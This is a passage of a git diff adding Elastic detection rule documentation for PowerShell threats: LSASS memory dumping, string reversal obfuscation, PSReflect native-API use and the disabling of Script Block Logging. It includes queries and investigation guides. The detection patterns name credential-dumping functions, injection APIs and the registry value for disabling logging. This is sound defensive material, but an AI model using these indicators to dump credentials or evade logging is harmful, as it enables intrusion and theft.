reversible containment tied to the findings, such as restricting the affected account, collecting the dump artifact, or isolating the host when active dumping or credential use may continue. +- If confirmed malicious, preserve the evidence set before terminating processes or deleting files, then contain the host or account according to host criticality and credential-use evidence. Rotate or reset exposed credentials when LSASS, another credential-bearing process, confirmed dump artifacts, or post-dump authentication are present. +- Eradicate only the unauthorized scripts, dump files, archives, and persistence or delivery artifacts identified during the investigation. Review related `user.id` and `host.id` alerts for the same script fragments or dump paths before declaring scope closed. +- Document any missing process, file, or Windows Security telemetry that limited the investigation so responders know which conclusions were evidence-backed and which remained unresolved. + + +==== Setup + + + +*Setup* + + +PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104). +Setup instructions: https://ela.st/powershell-logging-setup + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:windows and +powershell.file.script_block_text:(MiniDumpWriteDump or MiniDumpWithFullMemory or pmuDetirWpmuDiniM) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: LSASS Memory +** ID: T1003.001 +** Reference URL: https://attack.mitre.org/techniques/T1003/001/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-powershell-obfuscation-via-negative-index-string-reversal.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-powershell-obfuscation-via-negative-index-string-reversal.asciidoc new file mode 100644 index 0000000000..e4905b0b66 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-powershell-obfuscation-via-negative-index-string-reversal.asciidoc @@ -0,0 +1,213 @@ +[[prebuilt-rule-8-19-34-powershell-obfuscation-via-negative-index-string-reversal]] +=== PowerShell Obfuscation via Negative Index String Reversal + +Detects PowerShell scripts that uses negative index ranges (for example, $var[-1..0]) to reverse strings or arrays and rebuild content at runtime. Attackers use index reversal to reconstruct hidden commands or payloads and evade static analysis and AMSI. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: PowerShell Logs +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Threat: Script-Based Execution +* Rule Type: ES|QL +* Platform: Windows + +*Version*: 11 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This guide was created by humans with the assistance of generative AI. While its contents have been manually curated to include the most valuable information, always validate assumptions and adjust procedures to match your internal runbooks and incident triage and response policies. + + +*Investigating PowerShell Obfuscation via Negative Index String Reversal* + + +This alert flags PowerShell script block content that uses negative index ranges to reverse strings or arrays and rebuild content at runtime. This pattern can be used to hide command text and reduce readability during review, so the primary goal is to recover the reconstructed content and determine what it does in the observed execution context. + + +*Key alert fields to review* + + +- `user.name`, `user.domain`, `user.id`: Account execution context for correlation, prioritization, and scoping. +- `host.name`, `host.id`: Host execution context for correlation, prioritization, and scoping. +- `file.path`, `file.directory`, `file.name`: File-origin context when the script block is sourced from an on-disk file. +- `powershell.file.script_block_text`: Script block content that matched the detection logic. +- `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`: Script block metadata to pivot to other fragments or reconstruct full script content when split across multiple events. +- `Esql.script_block_tmp`: Transformed script block where detection patterns replace original content with a marker to support scoring/counting and quickly spot match locations. +- `Esql.script_block_pattern_count`: Count of matches for the detection pattern(s) observed in the script block content. +- `powershell.file.script_block_entropy_bits`: Shannon entropy of the script block. Higher values may indicate obfuscation. +- `powershell.file.script_block_surprisal_stdev`: Standard deviation of surprisal across the script block. Low values indicate uniform randomness. High values indicate mixed patterns and variability. +- `powershell.file.script_block_unique_symbols`: Count of distinct characters present in the script block. +- `powershell.file.script_block_length`: Script block length (size) context. + + +*Possible investigation steps* + + +- Review `powershell.file.script_block_text` and locate the reversal logic. Use `Esql.script_block_tmp` to quickly find match positions, then identify: + - The variable or array being reversed + - The reconstructed output (string, byte array, or command fragment) + - The sink where the output is used (for example, passed into a dynamic execution routine, used as a URL, or written to disk) +- Reconstruct the final value produced by the reversal. Focus on what the script is trying to rebuild (commands, URLs, file paths, registry paths, encoded blobs, or arguments) and record the recovered strings for scoping. +- If the script block is fragmented, pivot on `powershell.file.script_block_id` and use `powershell.sequence` and `powershell.total` to rebuild the full script in order. Reassess intent based on the complete content rather than a single fragment. +- Use `Esql.script_block_pattern_count` to prioritize reviews: + - Single-use reversal may be utility logic and requires context to judge + - Repeated reversal across a long script is more consistent with obfuscation wrappers +- Use script complexity signals to guide triage: + - High `powershell.file.script_block_entropy_bits` and high `powershell.file.script_block_unique_symbols` can indicate encoded or staged content + - Compare `powershell.file.script_block_surprisal_stdev` with the script content to determine whether the script mixes readable logic with high-randomness segments +- Validate execution context with `user.name`, `user.domain`, `user.id`, `host.name`, and `host.id`. Prioritize investigation when the user is unexpected for the host, the host is sensitive, or similar activity is new for that account. +- Review `file.path`, `file.directory`, and `file.name` (if present) to understand script origin. Treat unknown locations, new or renamed scripts, and ambiguous naming as higher risk, and check for additional script blocks tied to the same path. +- Scope related activity by searching for additional PowerShell script block events on the same `host.id` and `user.id` around `@timestamp`, and by pivoting on the same `powershell.file.script_block_id`. Look for: + - Follow-on script blocks with clearer (deobfuscated) commands + - Repeated use of similar reversal segments or reconstructed indicators +- If other endpoint telemetry is available, correlate activity on the same host and time window to identify what happened next (process launches, network connections, file writes, or other changes) and validate whether outcomes align with the reconstructed content. + + +*False positive analysis* + + +- Legitimate scripts may reverse arrays or strings for formatting, parsing, or testing. These cases typically remain readable end-to-end and do not rely on multiple layers of reconstruction to produce executable behavior. +- Developer utilities and automation tooling can include dense string manipulation. Validate whether the observed `file.path` and execution context (`user.name`, `host.name`) align with approved workflows and whether the same script content recurs consistently across expected hosts. +- If activity is confirmed benign, prefer context-based tuning using stable attributes visible in the alert (for example, consistent `file.path` and recognizable script content patterns) rather than suppressing the technique broadly. + + +*Response and remediation* + + +- If the reconstructed content indicates malicious behavior, isolate the affected host to limit further execution and reduce the risk of lateral movement. +- Preserve evidence by retaining the full `powershell.file.script_block_text` and all related fragments grouped by `powershell.file.script_block_id`. Capture the reconstructed strings and relevant metadata (`powershell.sequence`, `powershell.total`, `Esql.script_block_pattern_count`) in case notes. +- Identify and contain the execution source. If an unauthorized on-disk script is referenced by `file.path`, remove or quarantine it and investigate how it was introduced using your standard incident response workflow. +- Investigate the associated account (`user.id`) for signs of compromise. Apply account controls (credential reset, session invalidation, privilege review) based on your procedures and observed scope. +- Hunt for additional exposure by pivoting on recovered indicators and on recurrence of the reversal technique across hosts and users. Remediate any additional impacted endpoints identified during scoping. +- After containment, improve preventative controls appropriate for your environment, such as restricting PowerShell usage to approved users/hosts and enhancing monitoring for obfuscation and dynamic execution patterns. + + +==== Setup + + + +*Setup* + + +PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104). +Setup instructions: https://ela.st/powershell-logging-setup + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-windows.powershell_operational* metadata _id, _version, _index +| where event.code == "4104" + +// Filter out smaller scripts that are unlikely to implement obfuscation using the patterns we are looking for +| eval Esql.script_block_length = length(powershell.file.script_block_text) +| where Esql.script_block_length > 500 + +// replace the patterns we are looking for with the 🔥 emoji to enable counting them +// The emoji is used because it's unlikely to appear in scripts and has a consistent character length of 1 +| eval Esql.script_block_tmp = replace( + powershell.file.script_block_text, + """\$\w+\[\-\s?1\.\.""", + "🔥" +) + +// count how many patterns were detected by calculating the number of 🔥 characters inserted +| eval Esql.script_block_pattern_count = length(Esql.script_block_tmp) - length(replace(Esql.script_block_tmp, "🔥", "")) + +// keep the fields relevant to the query, although this is not needed as the alert is populated using _id +| keep + Esql.script_block_pattern_count, + Esql.script_block_length, + Esql.script_block_tmp, + powershell.file.*, + file.name, + file.path, + powershell.sequence, + powershell.total, + _id, + _version, + _index, + host.name, + host.id, + agent.id, + user.id + +// Filter for scripts that match the pattern at least once +| where Esql.script_block_pattern_count >= 1 + +// FP Patterns +| where not powershell.file.script_block_text like "*GENESIS-5654*" + +| where file.name not like ("PSFzf.psm1", "Tenable_API_AssetLists_IPv6Seeder.ps1", "Utility.ps1") + // ESQL requires this condition, otherwise it only returns matches where file.name exists. + or file.name is null + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Sub-technique: +** Name: Command Obfuscation +** ID: T1027.010 +** Reference URL: https://attack.mitre.org/techniques/T1027/010/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-powershell-psreflect-script.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-powershell-psreflect-script.asciidoc new file mode 100644 index 0000000000..6a82bb36f9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-powershell-psreflect-script.asciidoc @@ -0,0 +1,168 @@ +[[prebuilt-rule-8-19-34-powershell-psreflect-script]] +=== PowerShell PSReflect Script + +Detects PowerShell script block content containing PSReflect-style helper indicators, such as Add-Win32Type, New-InMemoryModule, or DllImport patterns, that may support dynamic Win32 API invocation from PowerShell. + +*Rule type*: query + +*Rule indices*: + +* logs-windows.powershell* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/mattifestation/PSReflect/blob/master/PSReflect.psm1 +* https://github.com/atc-project/atc-data/blob/master/docs/Logging_Policies/LP_0109_windows_powershell_script_block_log.md + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: PowerShell Logs +* Noise: Medium +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Windows + +*Version*: 319 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating PowerShell PSReflect Script* + + +*Possible investigation steps* + + +- Does the reconstructed script block show active PSReflect native-API wiring? + - Why: script block logging can split one script; PSReflect is meaningful only after imports and follow-on logic are visible. + - Focus: reconstruct with `powershell.file.script_block_id`, `powershell.sequence`, and `powershell.total`, then read `powershell.file.script_block_text` in `host.id` / `user.id` scope. !{investigate{"description":"","label":"Script block fragments for the same script","providers":[[{"excluded":false,"field":"powershell.file.script_block_id","queryType":"phrase","value":"{{powershell.file.script_block_id}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when the full script defines New-InMemoryModule, Add-Win32Type, psenum, Reflection.Emit, DefineDynamicAssembly, DefineDynamicModule, or DllImportAttribute and calls wrapped APIs; lower suspicion when it is inert reference text, repository content, or a bounded lab example. + +- What native API objective does the script express? + - Focus: Imported DLL/function pairs and call sites in reconstructed `powershell.file.script_block_text`. + - Hint: renamed wrappers or helper-free variants can show the same behavior when DllImportAttribute, Reflection.Emit, VirtualAlloc, WriteProcessMemory, CreateRemoteThread, OpenProcessToken, or AdjustTokenPrivileges reveal native-API invocation. + - Implication: escalate when call sites map to memory manipulation, token or privilege changes, service tampering, registry changes, or network control; lower urgency when imports stay limited to bounded diagnostics or application interop and later evidence does not contradict that use. + +- If endpoint process telemetry exists, how was PowerShell launched? + - Why: script block events preserve deobfuscated content, not the command line or parent. + - Focus: Recover the matching process via `host.id + process.pid` before interpreting `process.*` or `process.parent.*`; read `process.entity_id`, `process.command_line`, `process.parent.executable`, and `process.parent.command_line`. !{investigate{"description":"","label":"Process events for the PowerShell instance","providers":[[{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: expand the window if no process start appears; without process telemetry, keep later review scoped to `host.id`, `user.id`, `process.pid`, and alert time. + - Implication: escalate when a document, browser, chat client, remote session, scheduled task, or user-writable script path launched the helper; lower suspicion when launcher and command fit the same recognized build, admin, interop, or assessment workflow as the script. + +- Does script origin fit the recovered workflow? + - Focus: `file.path`, `file.directory`, `file.name`, missing file-origin fields, and recovered launch context. + - Implication: escalate when fileless on a workstation or sourced from temp, download, mounted-share, or user-writable paths that do not fit the user; lower suspicion when it resolves to a stable repository, deployment path, or test harness matching the same workflow. + +- Do same-host effects prove the wrapped APIs were used? + - Why: PSReflect is a helper pattern; the decisive follow-up is whether host activity matches the imported API family. + - Focus: API-matched effects: child execution for process APIs, staged payloads for write/load APIs, persistence or configuration changes for service/registry APIs, and outbound activity for network APIs. Use same-PID events around `@timestamp` to reduce PID-reuse ambiguity. + - !{investigate{"description":"","label":"Child process events for the PowerShell PID","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - !{investigate{"description":"","label":"File and registry events for the PowerShell PID","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"registry","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - !{investigate{"description":"","label":"Network events for the PowerShell PID","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when effects appear in recovered process scope or the `host.id`, `user.id`, `process.pid`, and time fallback scope; lower suspicion only when they align with the same bounded workflow. Missing network or endpoint effect telemetry is unresolved, not benign. + +- Does related alert scope change urgency? + - Focus: 48-hour alerts for the same `user.id` showing repeated PowerShell, execution, defense-evasion, privilege-escalation, or credential-access activity; use same-`host.id` alerts only to confirm repeated script substrings or the same imported API set. + - !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden the case when related activity shows repeated native-API abuse, follow-on execution, or spread outside the original host; keep scope local when repetition stays confined to one exact benign workflow already supported by local evidence. + +- What disposition is supported? + - Implication: escalate when content, origin, launch, effects, or scope align on injection, privilege manipulation, persistence, remote activity, or egress that does not fit the user; close only when same-host telemetry proves one exact benign workflow and no contradictory findings remain. Outside confirmation may corroborate but not replace telemetry; if mixed or incomplete, preserve artifacts and escalate. + + +*False positive analysis* + + +- Internal build, admin, interop, diagnostics, compatibility, or security-testing helpers can use PSReflect-style code. Confirm only when reconstructed `powershell.file.script_block_text`, imported API set, `file.path` or fileless delivery, launcher, `user.id`, `host.id`, and same-host effects all fit one bounded workflow without injection, persistence, egress, or privilege abuse. Change records, repository history, test schedules, or recurrence can support closure but not replace telemetry. +- Before an exception, validate recurrence of the same `user.id`, `host.id`, stable `file.path` when file-backed, recovered launcher, and distinctive `powershell.file.script_block_text` substrings. Avoid exceptions on PSReflect helper strings, `user.name`, or host alone. + + +*Response and remediation* + + +- If confirmed benign, document reconstructed script text, imported DLL/function set, origin, `user.id`, `host.id`, launch context, and same-host effect review before reversing containment. Create exceptions only for recurring workflows. +- If suspicious but unconfirmed, preserve script block IDs/sequences, reconstructed text, API list, origin, process-start evidence, and same-host effect artifacts before response. Apply reversible containment such as destination restrictions or session limits; isolate only when corroboration shows likely injection, persistence, lateral movement, or credential misuse and the host role permits. Avoid destructive cleanup until scope is clearer. +- If confirmed malicious, preserve the same artifacts plus related child-process, file-system, persistence, credential, and destination evidence before containment. Isolate the host and terminate PowerShell or child payloads after evidence capture; if direct response is unavailable, escalate with preserved artifacts. Block malicious scripts, payload hashes, and destinations, then review related users/hosts for the same script substrings, API set, or launch chain before eradication. +- After containment, remove only scripts or payloads identified during investigation, undo persistence or configuration changes tied to the API objective, and remediate the delivery path or automation that launched the helper. If imports or same-host effects suggest credential theft, token abuse, or remote execution, reset affected credentials and review related auth/admin sessions before cleanup. +- Post-incident hardening: restrict PowerShell interop and unsigned script distribution to controlled build, admin, or test systems; retain script block logging and endpoint process telemetry for `host.id + process.pid` recovery; document renamed-wrapper or helper-free reflection variants. + + +==== Setup + + + +*Setup* + + +PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104). +Setup instructions: https://ela.st/powershell-logging-setup + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:windows and + powershell.file.script_block_text:( + "New-InMemoryModule" or + "Add-Win32Type" or + psenum or + DefineDynamicAssembly or + DefineDynamicModule or + "Reflection.TypeAttributes" or + "Reflection.Emit.OpCodes" or + "Reflection.Emit.CustomAttributeBuilder" or + "Runtime.InteropServices.DllImportAttribute" + ) and + not user.id : "S-1-5-18" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Technique: +** Name: Native API +** ID: T1106 +** Reference URL: https://attack.mitre.org/techniques/T1106/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-powershell-script-block-logging-disabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-powershell-script-block-logging-disabled.asciidoc new file mode 100644 index 0000000000..15f6f25378 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-powershell-script-block-logging-disabled.asciidoc @@ -0,0 +1,214 @@ +[[prebuilt-rule-8-19-34-powershell-script-block-logging-disabled]] +=== PowerShell Script Block Logging Disabled + +Detects registry changes that disable PowerShell Script Block Logging. Attackers may disable this logging to conceal their activities in the host and evade detection. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.registry-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://admx.help/?Category=Windows_10_2016&Policy=Microsoft.Policies.PowerShell::EnableScriptBlockLogging + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 318 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This guide was created by humans with the assistance of generative AI. While its contents have been manually curated to include the most valuable information, always validate assumptions and adjust procedures to match your internal runbooks and incident triage and response policies. + + +*Investigating PowerShell Script Block Logging Disabled* + + +This alert indicates a registry modification that set `EnableScriptBlockLogging` to a disabled value (`registry.data.strings` of `0` or `0x00000000`). Disabling Script Block Logging reduces visibility into PowerShell execution and is commonly used to evade detection, especially when followed by script-driven activity. + + +*Key alert fields to review* + + +- `process.executable`: The process responsible for modifying the registry value. +- `registry.value`: The registry value name that was changed (`EnableScriptBlockLogging`). +- `registry.data.strings`: The new data indicating the setting was disabled. +- `registry.path`: The full registry path of the modified value. +- `user.name`, `user.domain`, `user.id`: Account execution context for correlation, prioritization, and scoping. +- `host.name`, `host.id`: Host execution context for correlation, prioritization, and scoping. + + +*Possible investigation steps* + + +- Establish the affected endpoint and time window: + - Use `host.name`, `host.id`, and `@timestamp` to identify the impacted endpoint and define a review window (include activity immediately before and after the change). + - Prioritize based on endpoint role and criticality (for example, servers and admin workstations). + +- Validate the registry change and its scope: + - Review `registry.path`, `registry.value`, and `registry.data.strings` to confirm the setting was disabled and to understand where it was applied. + - Compare `registry.path` to common policy locations for Script Block Logging (for example, `HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging\EnableScriptBlockLogging`). + - Determine whether the change is likely machine-wide or user-scoped based on the hive reflected in `registry.path`, and assess the blast radius accordingly. + - Check for repeated changes (toggling) to the same `registry.path` and `registry.value` around the alert time, which can indicate attempted evasion or policy enforcement conflicts. + +- Identify the modifying process and execution context: + - Review `process.executable` for legitimacy (expected binary name, expected install path) and whether it typically performs configuration changes. + - Pivoting using `process.entity_id`, review `process.command_line` to understand how the value was set and whether the command line suggests interactive administration, scripts, or automation. + - Using nearby endpoint process telemetry on the same host, reconstruct the process tree to identify the initiating process (parent) and any immediate follow-on execution that may have benefited from reduced PowerShell logging. + +- Assess the user context and authorization: + - Review `user.name`, `user.domain`, and `user.id` to determine whether the account is expected to manage logging or policy settings on this endpoint. + - If the change is attributed to a service or system context, identify the associated service, scheduled activity, or management workflow that could have performed the modification. + - Scope the user across other hosts for similar activity during the same window to identify potential credential misuse. + +- Hunt for related activity that may be masked by reduced logging: + - Review host activity immediately before the change for suspicious behavior that could explain the need to disable Script Block Logging (initial access, privilege escalation, or tool staging). + - Review host activity after the change for suspicious process launches, script interpreter activity, persistence attempts, credential access behavior, or lateral movement indicators. + - Review network activity from the host around the change for connections consistent with payload retrieval, remote access, or command and control. + - Review other registry changes around the same time that may further impair visibility or weaken defenses. + +- Scope and impact assessment across the environment: + - Search for other instances where `registry.value` is `EnableScriptBlockLogging` and `registry.data.strings` indicates a disabled state to determine whether this is isolated or widespread. + - Pivot on `process.executable` and `user.id` to identify other endpoints where the same process or account modified this setting. + - Identify whether the setting was later restored on the same host by looking for subsequent changes to the same `registry.path` and `registry.value`. + + +*False positive analysis* + + +- Authorized policy, baseline, or hardening changes that intentionally modify PowerShell logging settings, supported by change records and consistent execution by expected accounts and tooling. +- Provisioning or imaging workflows where configuration changes occur during early host lifecycle stages and are consistent across a known deployment batch. +- Short-lived administrative troubleshooting where the setting is temporarily changed and promptly restored, with supporting documentation. + + +*Response and remediation* + + +- If the change is unexpected or suspicious: + - Treat as potential defense evasion and escalate according to incident response procedures. + - Contain the endpoint if there are indicators of follow-on malicious activity in the surrounding timeframe. + - Preserve evidence related to the change, including `process.executable`, `process.command_line`, user context, and any correlated endpoint telemetry. + +- Restore and enforce PowerShell visibility: + - Re-enable Script Block Logging using approved administrative processes and verify the setting persists through policy enforcement. + - Monitor for repeated attempts to disable Script Block Logging, especially from the same user or originating process. + +- Remediate root cause and reduce recurrence: + - Identify and remove unauthorized tooling or persistence associated with the modifying process. + - Investigate potential account compromise for the associated user and take appropriate actions (credential reset and access review), prioritizing privileged accounts. + - Hunt for additional endpoints impacted by the same user or process and remediate as needed. + - Apply least-privilege controls to limit who can modify logging-related registry settings and improve alerting for additional defense impairment behaviors observed during the investigation window. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-reg-setup[Sysmon Registry Events] + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and + registry.value : "EnableScriptBlockLogging" and + registry.data.strings : ("0", "0x00000000") and + not process.executable : ( + "?:\\Windows\\System32\\svchost.exe", + "?:\\Windows\\System32\\DeviceEnroller.exe", + "?:\\Windows\\system32\\omadmclient.exe", + "?:\\Program Files\\Trend Micro\\Cloud Endpoint\\CloudEndpointService.exe", + "?:\\Program Files (x86)\\N-able Technologies\\AutomationManagerAgent\\AutomationManager.AgentService.exe", + + /* Crowdstrike specific exclusion as it uses NT Object paths */ + "\\Device\\HarddiskVolume*\\Windows\\System32\\svchost.exe", + "\\Device\\HarddiskVolume*\\Windows\\System32\\DeviceEnroller.exe", + "\\Device\\HarddiskVolume*\\Windows\\system32\\omadmclient.exe", + "\\Device\\HarddiskVolume*\\Program Files\\Trend Micro\\Cloud Endpoint\\CloudEndpointService.exe", + "\\Device\\HarddiskVolume*\\Program Files (x86)\\N-able Technologies\\AutomationManagerAgent\\AutomationManager.AgentService.exe" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable Windows Event Logging +** ID: T1562.002 +** Reference URL: https://attack.mitre.org/techniques/T1562/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-powershell-script-with-encryption-decryption-capabilities.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-powershell-script-with-encryption-decryption-capabilities.asciidoc new file mode 100644 index 0000000000..4eed8a64fd --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-powershell-script-with-encryption-decryption-capabilities.asciidoc @@ -0,0 +1,213 @@ +[[prebuilt-rule-8-19-34-powershell-script-with-encryption-decryption-capabilities]] +=== PowerShell Script with Encryption/Decryption Capabilities + +Identifies PowerShell script block content that uses .NET cryptography APIs for file encryption or decryption. Attackers abuse these routines to encrypt data for impact or decrypt staged payloads to evade defenses. + +*Rule type*: query + +*Rule indices*: + +* winlogbeat-* +* logs-windows.powershell* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: PowerShell Logs +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Ransomware +* Rule Type: Custom Query (KQL) +* Platform: Windows + +*Version*: 115 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This guide was created by humans with the assistance of generative AI. While its contents have been manually curated to include the most valuable information, always validate assumptions and adjust procedures to match your internal runbooks and incident triage and response policies. + + +*Investigating 